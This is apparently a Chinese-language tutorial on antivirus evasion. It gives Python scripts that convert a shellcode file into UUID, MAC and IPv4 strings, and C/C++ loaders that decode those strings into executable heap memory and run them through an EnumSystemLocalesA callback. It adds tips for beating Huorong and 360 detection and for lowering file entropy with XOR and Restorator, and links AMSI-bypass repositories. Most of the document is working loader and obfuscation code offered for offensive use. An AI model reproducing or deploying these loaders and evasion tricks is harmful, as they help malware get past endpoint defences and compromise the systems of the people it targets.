参考文章:
https://github.com/INotGreen/Bypass-AMSI
https://mp.weixin.qq.com/s/oJ8eHdX8HGuk6dZv0kmFxg
https://kyxiaxiang.github.io/2022/12/14/AMSIandEtw
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
文章参考:
https://www.anquanke.com/post/id/262666
C/C++内存加载-UUID方式-ShellCode转换
通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。
1、先用python代码将shellcode转换成uuid值
2、命令python u.py payload.bin
from uuid import UUID
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
sys.exit(1)
with open(sys.argv[1], "rb") as f:
chunk = f.read(16)
print("{}const char* uuids[] =".format(' '*4))
print(" {")
while chunk:
if len(chunk) < 16:
padding = 16 - len(chunk)
chunk = chunk + (b"\x90" * padding)
print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))
break
print("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))
chunk = f.read(16)
print(" };")
3、将uuid值填入const char* uuids[] = { “xxx” };
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;
const char* uuids[] = { "xxx" };
int main() {
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* hmem = HeapAlloc(hHeap, 0, 0x1000);
printf("%p\n", hmem);
DWORD_PTR ptr = (DWORD_PTR)hmem;
int init = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);
if (status != RPC_S_OK) {
printf("UuidFromStringA != RPC_S_OK\n");
CloseHandle(hmem);
return -1;
}
ptr += 16;
}
printf("[+] HexDump: \n");
for (int i = 0; i < init * 16; i++) {
printf("%02X ", ((unsigned char*)hmem)[i]);
//((unsigned char*)hmem)[i] ^= 0x39;
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
CloseHandle(hmem);
return 0;
}
4、生成文件exe,可以上线,但是杀软被杀
火绒 分离uuid
360 检测UuidFromStringA 使用动态api hook
先使用工具studype查看导出表
UuidFromStringA函数在RPCRT4.dll里面
C/C++内存加载-MAC方式-ShellCode转换
MAC地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片,通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的,IP地址是32位的,而MAC地址则是48位(6个字节)的。
from macaddress import MAC
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
sys.exit(1)
with open(sys.argv[1], "rb") as f:
chunk = f.read(6)
print("{}const char* MAC[] =".format(' '*4))
print(" {")
while chunk:
if len(chunk) < 6:
padding = 6 - len(chunk)
chunk = chunk + (b"\x90" * padding)
print("{}\"{}\"".format(' '*8,MAC(chunk)))
break
print("{}\"{}\",".format(' '*8,MAC(chunk)))
chunk = f.read(6)
print(" };")
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable:4996)
int Error(const char* msg) {
printf("%s (%u)", msg, GetLastError());
return 1;
}
int main() {
const char* MAC[] =
{
xxxx
};
int rowLen = sizeof(MAC) / sizeof(MAC[0]);
PCSTR Terminator = NULL;
DL_EUI48* LpBaseAddress2 = NULL;
NTSTATUS STATUS;
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* hmem = HeapAlloc(hHeap, 0, 0x1000);
DWORD_PTR ptr = (DWORD_PTR)hmem;
for (int i = 0; i < rowLen; i++) {
STATUS = RtlEthernetStringToAddressA((PCSTR)MAC[i], &Terminator,
(DL_EUI48*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlEthernetStringToAddressA failed in %s result %x(% u)", MAC[i], STATUS, GetLastError());
return FALSE;
}
ptr += 6;
}
printf("[+] HexDump: \n");
for (int i = 0; i < 6 * rowLen; i++) {
printf("%02X ", ((unsigned char*)hmem)[i]);
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
CloseHandle(hmem);
return 0;
}
C/C++内存加载-IPV4方式-ShellCode转换
IPv4是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上。此协议会尽最大努力交付数据包,意即它不保证任何数据包均能送达目的地,也不保证所有数据包均按照正确的顺序无重复地到达。IPv4使用32位(4字节)地址。
1、先用python代码将shellcode转换成ipv4值
2、命令python u.py payload.bin
from ipaddress import ip_address
import sys
if len(sys.argv) < 2:
print("Usage: %s <shellcode_file>" % sys.argv[0])
sys.exit(1)
with open(sys.argv[1], "rb") as f:
chunk = f.read(4)
print("{}const char* IPv4s[] =".format(' '*4))
print(" {")
while chunk:
if len(chunk) < 4:
padding = 4 - len(chunk)
chunk = chunk + (b"\x90" * padding)
print("{}\"{}\"".format(' '*8,ip_address(chunk)))
break
print("{}\"{}\",".format(' '*8,ip_address(chunk)))
chunk = f.read(4)
print(" };")
3、将uuid值填入 const char* IPv4s[] =};
#include <Windows.h>
#include <stdio.h>
#include <Ip2string.h>
#pragma comment(lib, "Ntdll.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
int main() {
const char* IPv4s[] =
{
xxxxxx
};
PCSTR Terminator = NULL;
PVOID LpBaseAddress = NULL;
PVOID LpBaseAddress2 = NULL;
NTSTATUS STATUS;
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* hmem = HeapAlloc(hHeap, 0, 0x1000);
DWORD_PTR ptr = (DWORD_PTR)hmem;
int init = sizeof(IPv4s) / sizeof(IPv4s[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)IPv4s[i], FALSE,
&Terminator, (in_addr*)ptr);
if (!NT_SUCCESS(STATUS)) {
printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)",
IPv4s[i], STATUS, GetLastError());
return FALSE;
}
ptr += 4;
}
printf("[+] HexDump: \n");
for (int i = 0; i < init * 4; i++) {
printf("%02X ", ((unsigned char*)hmem)[i]);
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
CloseHandle(hmem);
return 0;
}
熵和恶意软件
恶意软件会采取许多策略和技巧来从 AV 引擎的扫描中隐藏恶意软件。像shellcode加密,函数调用混淆之类的东西,像这种技术本质上是在加密和压缩数据,因此提高了数据的不可预测性/无序性,也就是提高了熵。所以我们可以根据熵值捕获文件,熵越大,数据就越有可能被混淆或加密,文件也就越有可能是恶意的,熵是一种简单有效的检测技术,但并不能完全识别所有恶意代码。因此,杀毒软件通常使用熵作为其他技术的补充,以更好地识别潜在的威胁。
1、识别项目:
https://github.com/langsasec/File-Entropy-Calculator
2、如何降低熵值:
使用uuid代码
先把shellcode使用ueditor 进行0x66异或
使用python脚本生成uuid值
脚本如下:
#include <Windows.h>
#include <Rpc.h>
#include <iostream>
#pragma comment(lib, "Rpcrt4.lib")
using namespace std;
const char* uuids[] =
{xxxxx
};
int main() {
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* hmem = HeapAlloc(hHeap, 0, 0x1000);
printf("%p\n", hmem);
DWORD_PTR ptr = (DWORD_PTR)hmem;
int init = sizeof(uuids) / sizeof(uuids[0]);
for (int i = 0; i < init; i++) {
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)ptr);
if (status != RPC_S_OK) {
printf("UuidFromStringA != RPC_S_OK\n");
CloseHandle(hmem);
return -1;
}
ptr += 16;
}
printf("[+] HexDump: \n");
for (int i = 0; i < init * 16; i++) {
printf("%02X ", ((unsigned char*)hmem)[i]);
((unsigned char*)hmem)[i] ^= 0x66;
printf("[+] HexDump: \n");
printf("%02X ", ((unsigned char*)hmem)[i]);
}
EnumSystemLocalesA((LOCALE_ENUMPROCA)hmem, 0);
CloseHandle(hmem);
return 0;
}
使用Restorator 减少熵值